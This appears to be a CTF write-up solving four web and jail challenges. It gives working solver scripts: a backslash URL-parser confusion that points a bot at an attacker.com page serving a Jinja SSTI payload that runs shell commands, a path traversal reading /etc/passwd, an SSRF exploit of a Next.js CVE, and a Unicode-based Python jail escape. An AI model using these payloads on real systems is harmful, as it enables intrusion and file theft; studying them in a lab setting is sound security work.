07CTF 2025 - writeup

EN

[web] Render Me This

Overview

The server lets users upload and view files.

POST /upload performs security checks to prevent uploading anything other than images:

app.py
def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def is_valid_image(file_stream):
    """Validate if the uploaded file is actually a valid PNG or JPG image using PIL"""
    try:

        file_stream.seek(0)
        image = Image.open(file_stream)
        image.verify()  

        if image.format not in ['JPEG', 'PNG']:
            return False
        return True
    except Exception:
        return False
    finally:

        file_stream.seek(0)
""" ... """
@app.route('/upload', methods=['POST'])
def upload():
    """ ... """

    if file and allowed_file(file.filename):

        if not is_valid_image(file.stream):
            return render_template('dashboard.html', 
                                 user=session['user'], 
                                 files=user_files.get(session['user'], []),
                                 error="Invalid image file. Only valid PNG and JPG images are allowed.")

        original_filename = secure_filename(file.filename)
        random_filename = str(uuid.uuid4()) + '.jpg'  

        filepath = os.path.join(app.config['UPLOAD_FOLDER'], random_filename)
        file.save(filepath)

        username = session['user']
        file_info = {
            'original_name': original_filename,
            'stored_name': random_filename,
            'upload_time': time.strftime('%Y-%m-%d %H:%M:%S')
        }
        user_files[username].append(file_info)

        return redirect(url_for('dashboard'))
    else:
        return render_template('dashboard.html', 
                             user=session['user'], 
                             files=user_files.get(session['user'], []),
                             error="Only image files are allowed (JPG, PNG, GIF, BMP, WebP, TIFF)")

If the file passes the checks, it is saved with a random filename ending in .jpg.

POST /view allows rendering of HTML files using Jinja:

app.py
@app.route('/view')
def view_file():
    if 'user' not in session:
        return redirect(url_for('login'))

    filename = request.args.get('name')
    if not filename:
        return "No filename specified", 400

    jpg_path = f"./uploads/{filename}.jpg"

    if os.path.exists(jpg_path):
        """ ... """

    html_path = f"./uploads/{filename}.html"

    if os.path.exists(html_path):
        try:
            with open(html_path, 'r') as f:
                content = f.read()
            return render_template_string(content)
        except Exception as e:
            return render_template('error.html', 
                                 error="Error loading template", 
                                 message="There was an error processing the template file.")

    return render_template('error.html', 
                         error="File not found", 
                         message="The requested file could not be found.")

POST /check-url performs a “security check” by launching Chrome, but it only accepts URLs whose hostname is example.com:

app.py
@app.route('/check-url', methods=['POST'])
def check_url():
    if 'user' not in session:
        return redirect(url_for('login'))

    url = request.form.get('url')
    if not url:
        return "No URL provided", 400
    try:
        parsed_url = urlparse(url)
        if not parsed_url.scheme:
            return "Invalid URL format. Please include http:// or https://", 400
        if not parsed_url.hostname or parsed_url.hostname != 'example.com':
            return "Invalid URL. Only URLs from example.com are allowed.", 400
    except Exception as e:
        return f"Error parsing URL: {str(e)}", 400

    thread = threading.Thread(target=run_security_scan_with_flag, args=(url,))
    thread.start()

    return render_template('security.html', 
                         message="Security scan initiated! Results will be processed in the background.")

def run_security_scan_with_flag(url):
    """Simulate security scanning by opening URL in headless Chrome with flag cookie"""
    try:

        proc = subprocess.Popen(['google-chrome', url, "--no-sandbox", "--disable-gpu", "--disable-dev-shm-usage", f"--cookie=flag={flag}; Domain=example.com; Path=/; Secure; HttpOnly; SameSite=Strict"])        
        time.sleep(25)  
        proc.terminate()
    except Exception as e:
        print(f"Error running security scan: {e}")

Solution

You probably cannot upload HTML using POST /upload because its extension will always be .jpg, so we need to find another way to upload a file that ends with .html.

In urlparse, the backslash is treated litteraly, but in Chrome, the backslash is evaluated as forward slash. As a result, for http://attacker.com\@example.com/, urlparse recognize attacker.com\ as userinfo and example.com as hostname. On the other hand, Chrome recognize it as http://attacker.com/@example.com/, so attacker.com will be the hostname.

In POST /view, there's no path traversal check, so you can render any file unless it ends in .html. Also, the file is passed to render_template_string, so Jinja SSTI is possible here.

You can make the bot visit anywhere, so made it visit my website which downloads an HTML file. Then, I loaded the downloaded file using POST /view, which leads to SSTI then RCE.

solution/solver.py
import requests

URL = "http://231bc4ca57.ctf.0bscuri7y.xyz/"
# URL = "http://localhost:5000/"
EVIL = "https://attacker.com"

s = requests.session()
user = {
    "username": "foo",
    "password": "bar"
}
r = s.post(URL + "register", data=user)
r = s.post(URL + "login", data=user)

r = s.post(URL + "check-url", data={
    "url": EVIL + "\\@example.com"
})

r = s.get(URL + "view", params={
    "name": "../../../../home/ctf/Downloads/x"
})
print(r.status_code)
print(r.text)
solution/server.py
from flask import Flask

app = Flask(__name__)

@app.route("/@example.com")
def index():
    return """
<a id="l" download="x.html">x</a>
<script>
    const text = `{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag/flag*').read() }}`;
    l.href = "data:text/plain;charset=utf-8;base64," + btoa(unescape(encodeURIComponent(text)));
    window.addEventListener("load", () => {
        l.click();
    })
</script>
    """
if __name__ == "__main__":
    app.run(port=9911)

[web] Nextbox

Overview

This is a blackbox challenge for website that uses Next.js.

Solution

There is a directory traversal vulnerability in POST /api/profile/avatar.

import requests
import random
URL = "http://nextbox.ctf.0bscuri7y.xyz/"

s = requests.session()
user = {
    'username': random.randbytes(16).hex(),
    'password': 'xx',
    'firstName': 'ああ',
    'lastName': 'ああ',
    'email': '[email protected]',
}
r = s.post(URL + 'api/auth/register', json=user, verify=False)
r = s.post(URL + 'api/auth/login', json=user, verify=False)

token = r.json()["token"]
s.headers={
    "Authorization": f"Bearer {token}",
}


r = s.post(URL + 'api/profile/avatar', files={
    "avatar": ("../../../../etc/passwd", "bar", 'image/png')
}, verify=False)
print(r.status_code)
print(r.text)

r = s.get(URL + 'api/get-avatar', verify=False)
print(r.status_code)
print(r.text)

From here:

  • You can check /proc/self/cwd/pages/api/get-secret-flag.js to see the condition required for GET /api/get-secret-flag to return the flag.
    • You can probably get the flag from GET http://127.0.0.1:39722/flag, but GET /api/get-secret-flag does not seem to return the result to the user.
  • You can check the Next.js version from /proc/self/cmdline.
    • The version is v15.4.6, which is vulnerable to CVE-2025-57822, allowing SSRF, and SSRF is what we want.
  • You can check /proc/self/cwd/middleware.js to confirm that the server is indeed vulnerable to CVE-2025-57822 if the x-secret-code-07 header is set and the request is for /api/get-secret-flag.

Full Exploit

import requests
import random
import jwt
URL = "http://nextbox.ctf.0bscuri7y.xyz/"

s = requests.session()
user = {
    'username': random.randbytes(16).hex(),
    'password': 'xx',
    'firstName': 'ああ',
    'lastName': 'ああ',
    'email': '[email protected]',
}
r = s.post(URL + 'api/auth/register', json=user, verify=False)
r = s.post(URL + 'api/auth/login', json=user, verify=False)

token = r.json()["token"]
s.headers={
    "Authorization": f"Bearer {token}",
    "x-secret-code-07": "1",
    "Location": "http://127.0.0.1:39722/flag"
}

r = s.get(URL + 'api/get-secret-flag', verify=False)
print(r.status_code)
print(r.text)

[misc] The Gamble

Overview

This is a Pyjail where you can run any number of `exec('')`` statements, with the following constraints:

  • actual: must consist of three characters, each either an uppercase ASCII letter or a whitespace character.
  • operator: must consist of two characters, with at least one character being = and all characters having c.isalpha() return False.
  • guess: must consist of three characters.

The goal is to get the contents of ITEM variable.

app.py
import re
import uuid
from flask import Flask, request, render_template, jsonify, abort

app = Flask(__name__)


import os
ITEM = os.environ.get("FLAG", "07CTF{DUMMY}")  # Read flag from environment variable

games = {} 
base_exec_func = exec
import re
RE_ACTUAL = re.compile(r'^[A-Z ]{3}$')

A="Sorry, wrong guess."
B="Congratulations! Here is your flag:"
@app.route('/')
def home():
    return render_template('home.html')

@app.route('/create', methods=['GET', 'POST'])
def create_game():
    if request.method == 'POST':
        actual = request.form.get('actual', '')
        operator = request.form.get('operator', '')
        if not RE_ACTUAL.fullmatch(actual):
            return render_template('create.html', error='Actual must be exactly 3 lowercase letters')
        if len(operator) != 2 or '=' not in operator:
            return render_template('create.html', error='Operator must be exactly 2 chars and include "="')
        #check  each char of operator by isalnum()
        if any(c.isalpha() for c in operator):
            return render_template('create.html', error='Operator must not contain alphanum')
        game_id = str(uuid.uuid4())[:8]
        games[game_id] = {'actual': actual, 'operator': operator}
        return render_template('created.html', game_id=game_id)
    return render_template('create.html')

@app.route('/play/<game_id>', methods=['GET', 'POST'])
def play_game(game_id):
    if game_id not in games:
        abort(404)
    message = "-"
    flag = None
    if request.method == 'POST':
        guess = request.form.get('guess', '')
        if len(guess) != 3:
            message = 'Guess must be exactly 3 characters'
        else:
            actual = games[game_id]['actual']
            operator = games[game_id]['operator']
            expr = f"{actual}{operator}{guess}"
            try:
                result = base_exec_func(expr, globals())
            except Exception as e:
                message += "Sorry, wrong guess."
            else:
                if result:
                    message = B
                    flag = ITEM
                else:
                    message = "Sorry, wrong guess."
    print(A)
    return render_template('play.html', game_id=game_id, message=message, flag=flag)

if __name__ == '__main__':
    app.run(debug=False, host="0.0.0.0")

Solution

First, we fuzzed the Unicode letters c so that:

  • c.isalpha() returns false.
  • When normalized using NFKC, they evaluate to ASCII letters.

import string
for c in string.ascii_letters:
    exec(f"{c}_val=1")

for i in range(0x110000):
    c = chr(i)
    try:
        if not c.isalpha() and eval(c+"_val"):
            print(c)
    except:
        pass

Result:

Ⅰ
Ⅴ
Ⅹ
Ⅼ
Ⅽ
Ⅾ
Ⅿ
ⅰ
ⅴ
ⅹ
ⅼ
ⅽ
ⅾ
ⅿ

These letters can be included in operators, so expressions like A =ⅠTEMS are valid and are evaluated as A = ITEMS in Python.

Similarly:

  • You can get an item of an iterable using A =Ⅴ[N].
  • You can call a function that has fewer than 3 letters by doing V = chr, then W =Ⅴ(N).

There is probably no way to leak the flag directly, but we can detect whether the expression raised an error because it will return -Sorry, wrong guess. instead of Sorry, wrong guess..
We can detect whether the character c has the code point n by executing code equivalent to 1/(ord(c)-n) and checking for a zero-division error.

Full Exploit

import requests
import re

# URL = "http://localhost:5000/"
URL = "http://89f1db35b9.ctf.0bscuri7y.xyz/"

s = requests.session()

def run(s, v1, v2, v3):
    
    r = s.post(URL + "create", data={
        "actual": v1,
        "operator": v2
    })
    gid = re.findall(r'href="/play/([^"]+)"', r.text)[0]
    r = s.post(URL + f"play/{gid}", data={
        "guess": v3,
    })
    return r.text


run(s, "V  ", "=Ⅰ", "TEM")
run(s, "X  ", "= ", "ord")
known = ""
for i in range(0,100):
    run(s, "A  ", "= ", str(i).rjust(3))
    run(s, "A  ", "=Ⅴ", "[A]")
    run(s, "A  ", "=Ⅹ", "(A)")
    run(s, "A  ", "-=", "33 ")
    j = 33
    while True:
        r = run(s, "XXX", "= ", "1/A")
        if "-Sorry, wrong guess." in r:
            known += chr(j)
            print(known)
            break
        run(s, "A  ", "-=", "1  ")
        j += 1
        print("next ", i, j)

[misc] Jailhouserock

Overview

This is a jail challenge that uses the Rockstar esolang. The goal is to write a decrypter for encrypt_key in Rockstar code without using any punctuation or digits.

chal.py
import sys
import re
import secrets
import os
import subprocess
import tempfile
import base64

FLAG = os.getenv("FLAG")
key = secrets.token_urlsafe(32)

def encrypt_key(key):
    scrambled = [] 
    for i, c in enumerate(key):
        shifted_char = chr((ord(c) + (i + 1)) % 256)
        scrambled.append(shifted_char)
    scrambled_str = ''.join(scrambled)
    result = scrambled_str[::-1]
    return result

def prison_gate():
    gate = '''
     ________
    |        |
    |  ____  |
    |  |  |  |
    |  |  |  |
    |  |__|  |
    |________|
    |   |    |
    |   |    |
    |   |    |
    |   |    |
    |___|____|
    (c) Hard Rock Penitentiary 

    
Enter your decryption function:
Finish your input with $$END$$ on a newline
___________________________________________
    '''
    print(gate)


def print_open_jail():
    print(f"""
          
          YOU DID IT
     _____________________
    |  _________________  |
    | |    _________    | |
    | |   |         |   | |
    | |   |   __    |   | |
    | |   |  |__|   |   | |
    | |   |_________|   | |
    | |                 | |
    | |                 | |
    | |_________________| |
    |_____________________|
${base64.b64decode(FLAG)}
    """)

def jail(code):
    symbol_pattern = r'[^\w\t\n\s,]'
    for line in code:
        symbols = re.findall(symbol_pattern, line)
        if symbols:
            if line.strip() != "$$END$$":
                print(f"How am I supposed to sing that...")
                return False
            
        for char in line:
            if char.isdigit():
                print(f"Where do you think you're at? In a math class? You're a rockstar, be poetic!")
                return False
    return True

def write_down_lyrics(strings, suffix='.rock'):
    with tempfile.NamedTemporaryFile(delete=False, mode='w', suffix=suffix) as temp_file:
        for string in strings:
            temp_file.write(string)
        return temp_file

def sing(code):
    code.insert(0,"let something be arguments at 0\n")
    code.extend(["let liberty be decrypt taking something\n","shout liberty\n"])
    encrypted_key = encrypt_key(key)
    file = write_down_lyrics(code)
    try:
        result = subprocess.run(['../rockstar', file.name, encrypted_key], capture_output=True, text=True)
    except Exception as e:
        print(f"Something went really wrong {e}")
        exit(1)
    # os.remove(file.name)
    return result.stdout.strip()


def read_until():
    line = ""
    code = []
    while True:
        line = sys.stdin.readline()
        if "$$END$$" in line:
            break
        code.append(line)
    return code

def main():
    prison_gate()
    input_text = read_until()
    valid = jail(input_text)
    if valid:
        v = sing(input_text)
        print(v, key)
        if v == key:
            print_open_jail()
        else:
            print("Aw... what happen to your voice..")
    else:
        print("Look on the bright side, you have only 24 years left.")
    exit

if __name__ == "__main__":
    main()

Solution

Reading the documentation:

  • To express numbers without using digits, we can write X is aaa; then X will equal 3.
  • To express a single character, we can write Cast X, where X is the code point for that character.

From here, you can express anything that is possible in Rockstar, so we implemented the decoder as follows:

Full Exploit

let something be arguments at 0
One is a
Two is aa
Hoge is aaaa
Hoge is times Hoge
Hoge is times Hoge
Put one minus two into negone
Foo is a
Put something of negone into rev
For r in rev
    Cast r
    Put r plus hoge minus foo into bar
    If bar is more than hoge
        Bar is without hoge
    End
    Cast bar into bar
    Write bar
    Foo is with one
End
decrypt takes x giving empty
let liberty be decrypt taking something
shout liberty